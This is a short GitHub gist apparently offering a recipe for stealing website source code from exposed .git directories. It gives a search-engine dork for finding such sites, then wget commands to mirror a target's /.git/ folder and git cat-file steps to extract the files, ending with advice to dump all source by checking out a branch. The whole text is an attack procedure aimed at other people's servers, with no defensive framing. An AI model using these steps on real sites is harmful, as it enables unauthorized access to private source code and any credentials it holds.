Skip to content

Instantly share code, notes, and snippets.

@SunDi3yansyah
Last active September 3, 2022 18:53
Show Gist options
  • Save SunDi3yansyah/1d60079dc417016930f0b1bb1bf32344 to your computer and use it in GitHub Desktop.
Save SunDi3yansyah/1d60079dc417016930f0b1bb1bf32344 to your computer and use it in GitHub Desktop.
Download Source Code with Index of /.git/

Download Source Code with Index of /.git/

Dork

intext:"Index of /.git"

Implementation

wget -r https://www.target.com/.git/
cd www.target.com/.git/objects/
ls
cd [NUMBER]
ls
git cat-file -p [NUMBER][SHA1]
git cat-file -p [NUMBER][SHA1] > file.ext

Dump

You can dump all source with checkout branch